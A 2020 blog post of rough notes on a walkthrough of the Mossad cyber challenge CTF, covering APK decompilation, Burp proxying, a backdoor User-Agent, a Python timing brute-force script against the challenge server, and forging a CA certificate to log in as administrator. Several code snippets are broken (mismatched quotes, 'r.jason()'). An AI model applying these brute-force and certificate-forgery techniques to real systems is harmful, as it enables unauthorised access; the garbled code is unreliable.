Saturday, May 16, 2020

What Roman Zaikin Wants to Teach You abou CyberSecurity

The Mossad Cyber Challenge is too easy for this dude..


it begins with a picture in teh newspaper that you have to use to get enough info - in this case, an IP address

in this case, the hint was that there were four eight bit numbers, so an IPv4 address

when roman zaikin participates in CTFs, every detail is important..

the first thing you see when you put in that IP address is a long string of hex called "our client ID"

so, save that guy for later..

they also give you a link to an adroid app

so, that's an apk file that you can download..

jadx is an android reflection tool which can decompile APK files

the most important file in an android app (APK) is the manifest

here, roman sees that the name of the app is locksmither and also "look for us on github.com"

he pastes the text iwalk.locksmither github into google and then goes there to the github

there, he sees a folder called server - he recognizes it as the backend of the goal server (??). He keeps that code in his back pocket..

now, the app itself, install it on an android virtual phone from genymotion (french)

now, when , on this virtual phone he launches iWalk-LockSmither App,

he's presented with a login screen

seed
password

he tries some combos and, sees status toast messages saying "completed in 0 milliseconds"

because a regular app will never send us the milliseconds that it takes, he infers that it suggests to use a brute force attack. A real app would never disclose such info since it could be use for time-based penetration.. really? "this kind of vulnerability may lead to brute force attack - time based brute force attack"

when he saw this, he decided to look at the actual traffic

so, he put a proxy here ..

go to WiFi (on the virtual phone) and modify the network..

put in the IP address of your proxy program -- use burpsuite - the most common.

You can also use "filler" (or fiddler)

now, in burpsuite, he goes into proxy, remove the intercept (off) and then go to options and select all interfaces..

now, you'll be able to see the traffic from all the interfaces on your mobile app

on the virtual phone, he goes to google and sees the burpsuite logging everything..

then, he goes to the mossad app and sends a login request and he sees that nothing was actually sent..

this means you have to look at teh source code of teh app.

So, that takes you back to jadx

in the MainActivity, you can see that it looks like a cordoba app, but it extends FlutterActivity (??)

what is flutter and flutterio?

it's a google framework for design - crossplatform - works with iOS as well..
basically, only maintain one codebase..

the actual code in flutter is dart - it's similar to javascript

so, the clues he has at this point are that he has to look at teh source and that the source is related to flutter and the code is in dart - which is like javascript

to familiarize himself with dart, he wrote a couple of dart apps in Android studio

he sees that it's really simple to understand dart.. you have a main app, a UI, etc..

so, now, try to get to the dart code of the Mossad app..

for that, you know that an APK file is just a zip file (use Extract to extract it)

then, go to assets > flutter_assets and then look at kernel.blob.bin

this is a binary file, but like you could use strings on a unix binary, here, you can look for main()

right there "if you will look here, you can see some routes, so let's go for the routes"

-- search for routes

and that takes you to a place that says

final routes = {
    '/login': (BuildContext context) => new LoginPage(),
    '/home':  (BuildContext context) => new HomePage(),
    '/' :     (BuildContext context) => new LoginPage(),
};

now, search for LoginPage and you can see the login class and that uses some kind of NetworkAction class, so search for that..

there, where you see

static const BASE_URL = "http://35.246.158.51:8070"

that's a request page, so take that and use it..

the mini lesson from this point on seems to be that the browser really isn't your friend, because it's going to show you what the page wants you to see..

rather, this guy uses python code to read web pages : (and he uses PyCharm - which from the czechs at JetBrains)

import requests     # which is great to send requests

r = requests.get( "http://35.246.158.51:8070/auth/getUrl", json={ "Seed": "a", "Password": "a" } )

print r.text    # hmm... he's happy with python2.7 :) in this day and a :)

# networkactions, in the dart code shows you that you need to send a JSON

# now look for the response..

which is

{"AutoURL":"/auth/V2"}

(another JSON)

So, now send the request to /auth/v2


r = requests.get( "http://35.246.158.51:8070/auth/v2", json={ "Seed": "a", "Password": "a" } )

which returns

{"IsValid":false, "LockURL":"", "Time":144789}

now, a bit of genius.. "But wait, do you remember that, at the beginning of the challenge, we received the backend code?"

So now, go to that code and look at the main function :

func main() {
    if getLocks() == nil {
        panic("Something is wrong with the locks file")
    }
   
    http.HandleFunc("/auth/getUrl(", getAuthURL)
    http.HandleFunc("/auth/v1_1", v1Auth )
    http.HandleFunc("/auth/v2", v2Auth )
    http.HandleFunc("/", notFound )
    log.Fatal(http.ListenAndServe( ":8070", nil ) )


}

getUrl was just used to receive the auth2 URL. But, what is the v1_1? Let's try to search for it

search for v1Auth in the https://github.com/iwalk-locksmithers-app/server/blob/master/main.go

//iWalk-Locsks: old auth, deprcated developed by OG
//that is no longer with us
//TODO: deprecated, remove from code        "so this is a code"
func v1Auth( w http.ResponseWriter, r *http.Request ) {
    userAgent := r.Header.Get( "User-Agent")
    if userAgent != "ed9ae2c0-9b15-4556-a393-23d500675d4b" {
        returnServerError( w, r )        // RZ recognizes this as a backdoor userAgent!!
        return
    }
   
    start := time.Now()
   
    decoder := json.NewDecoder( r.Body )    // this suggests to you that you should send JSON


##, so now, construct a request using this id..

r = requests.post( "http://35.246.158.51:8070/auth/v2",
                    headers={"User-Agent":"ed9ae2c0-9b15-4556-a393-23d500675d4b"},
                    json={ "Seed": "a", "Password": "a" } )
                   
                    # prefers POST to GET


# now, we don't the seed anywhere in teh APK decompiled text, but, as "I told you before" in CTFs, every detail is important - so, the guess at this point is that the "client ID" is the seed, so try that

r = requests.post( "http://35.246.158.51:8070/auth/v2",
                    headers={"User-Agent":"ed9ae2c0-9b15-4556-a393-23d500675d4b"},
                    json={ "Seed": "855110e903144277a6afdc4819b999b1", "Password": "a" } )

just an educated guess that turns out to be correct

so, that's the seed.. what about the password?

Look in the code

        for currentIndex < len( lock.Password) && currentIndex < len( loginData.Password ) {
            if lock.Password[currentIndex] != loginData.Password[currentIndex] {
                break
            }

            //OG: securing against bruteforce attempts.... ;-)
            time.Sleep( 30 * time.Millisecond)
            currentIndex++
        }
       
www.zeronights.org
    # RZ recognizes this as "basically a time-based brute-force attack"

    what this is telling you is that if you find the first character, the code will sleep here for 30 milliseconds
   
    every correct attempt will make the backend sleep for 30 milliseconds..
   
    # that's how you can put in a back-door that's very subtle :)


    "so let's try to abuse this logic"
   
    create a for loop
   
import requests
import strings # you want to try all characters

found = ""
for pass_len in range( 50 ):
    for character in string.printable :
        r = requests.post( "http://35.246.158.51:8070/auth/v1_1",
                    "headers={"User-Agent":"ed9ae2c0-9b15-4556-a393-23d500675d4b"},
                    json={ "Seed": "855110e903144277a6afdc4819b999b1",
                         "Password": "{}{}".format(found,character) } )

    time = r.jason()["Timer"]
    print time
   
# run this, and see that you get something detectable behavior in your printout

when you see

144354
168339
30278888
170990

you know that the 3027888 is telling you something..

So, now..

import requests
import strings # you want to try all characters

found = ""
for pass_len in range( 50 ):
    for character in string.printable :
        r = requests.post( "http://35.246.158.51:8070/auth/v1_1",
                    "headers={"User-Agent":"ed9ae2c0-9b15-4556-a393-23d500675d4b"},
                    json={ "Seed": "855110e903144277a6afdc4819b999b1",
                         "Password": "{}{}".format(found,character) } )

    time = r.jason()["Timer"]
    print time
    if time > 30000000 :
        print character
        found += character
        print character
        break
   

what you'll see is that the timer continues to count from the last character, meaning you look for just > 30000000

rather..


    if time > 30000000 * (len(found)+1) :
        print character
        found += character
        print character
        break

ea28e2faa5314323b76835e3be979039

is what you get - so cool - because you see what kind of back-door has been put in - the keys is, you see how the behavior of the backend is going to be different for characters that match.. and that's enough..


So, how does this change our real request?


import requests

r = requests.post( "http://35.246.158.51:8070/auth/v1_1",
                headers={"User-Agent":"ed9ae2c0-9b15-4556-a393-23d500675d4b"},
                json={ "Seed": "855110e903144277a6afdc4819b999b1", "Password": "ea28e2faa5314323b76835e3be979039" } )


print r.json()

# run it and...

{u'IsValid':True, u'Time':963321695, u'LockURL':u'http://3d375032374147a7865753e4bbc92682.xyz/5d1bba9cfe3f42ee928f52d989e9962c'}

which is basically the URL for the second challenge..

go there with a browser and they give you a success token

Send the success token and contact info to the email address they give you..

they give you a website , in this case : missilesys.com/notwelcome

first thing roman does is fire up burpsuite

"burpsuite is actually the best proxy that is out there"

nice - this is a Welsh company - Dafydd Stuttard. Remember the CIA memo saying the Irish will scan every bit of electronic storage media you've got if you're selected for secondary screening? I guess the Welsh aren't far behind in being paranoid about cyber..



-- starts off, he turns intercept off

then, under target > Scope, check "use advanced scope control"

for the Add URL to include in scope : put in "missilesys."

then, under site map,

filter by request type :

check for

show only in-scope items
hide not-found items

In Proxey > HTTP history ... check show only in-scope items.


Then, in Target > Site Mape, right click on http://missilesys.com and choose scan

change from Crawl and Audit to just Crawl and click OK

when you crawl, you're going to find (look in the Request/Response pane's Raw tab)

Host:dev.missilesys.com

now, some words of w :

from my experience , when I try to perform penetration testing on a website, in a project I do, I always try to use a sub-lister to find all the subdomains because the main domain is usually very safe and the company usually invests all the efforts to secure the main domain but sometimes they forget some kind of dev system or some kind of development systems, test systems or old systems backup systems and thins like this and we can find those systems by using sub-lister

So, now, in your browser, put in

dev.missilesys.com

you'll see here there is a registration system .

And, after you register, download the certificate (in this case, a file roman.p12)

this system is really interesting because it contains some kind of server/client certificate and the end users here have to authenticate by PKS 12 which is client cert and the packet will identify the user ID certificate so we created Roman PKS 12 certificate - a client certificate, and, to use that, you can import it inside the browser, but, we want to use proxy, so

go to user options, then go to SSL and then, Add the client certificate there..

now, once you're logged in, you see a page that tells you "You are not the administrator!"

if you go back to the main page and try to sign up with username = administrator,

user already exists!  -- obviously, else it would be a too easy challenge..

you have to find a way to use the PKS12 and bypass the user-already-exists..

there are two techniques..

first idea - which doesn't work - but is still interesting - is to create duplicated CN parameters (recalling in the certificate, CN=roman)

in Chrome, F12 and go to developer tools, you can see what function is going to run when you click submit button

go to EventListeners, then click ...

you'll see onclick="gencsr()"

you'll see the createPKS12, a function that creates our PKS10 request which is a CSR.. (??)

and in the CSR you see the CN field, so we try to create a CN field

here's the idea..

in the Chrome console, create an Administrator attribute :

pkcs10.subject.tpyesAndValues.push( new AttributeTypeAndValue( {
    type:"2.5.4.3",
    value: new Utf8String( { value: "Administrator" } )
    } ) )

try to create a David certificate and try to register with David

look at the David certificate that you download,

CN=david --> CN=Administrator, CN=david

now, in burpsuite, try to add the David certificate

... (??)

try to sign in with this - it doesn't work - still "You are not the administrator"

looking at function createPKCS10(cn) {
...
...
    resultString = "$(resultString)$(formatPEM(toBase64(arrayBufferToString(pkcs10Buffer)))}'
    ...
    ..
    document.getElementById("privatekey").value = window.privateKey;
   
this is enough for RZ to know that the backend will sign on every certificate we send to the backend

So, we can just send a certificate to the system with a CA and we can create a chain of trust with the system..

this system will grant our certificate the ability to create any certificate

what tools does RZ have : HxD, Ditto, xca,

use a tool called xca - a much simpler tool and better than open SSL

CA = Certificate Authority

new database

add a password

you have to create a CSR (certificate signing request )

(Source tab)

TEmplate for teh new certificate : CA (default)

apply to all

under Advanced, check that CA:TRUE


under subject, name your certificate : ca (commonName)

internal name : ca

generate a key

go back to the prompt on the webpage and apply the certificate

just manipulate teh CSR and swap it to the newly created CSR

back in xca,  right clickon the ca and do export to clipboard


copy the CSR to the clipboard

in the chrome console, set resultString = this (paste)

do the same for privatekey - in xca, export the key to PEM

release, click download and you get your CA certificate

now, you have a CA, not a regular certificate.

this certificate is now able to create other certificates..

So, go to xca to use this to create new .. X509

internal name : administrator

now, in burpsuite, add your certificate as client SSL certificate

now try the settings link again and, you're in, as admin..


No comments: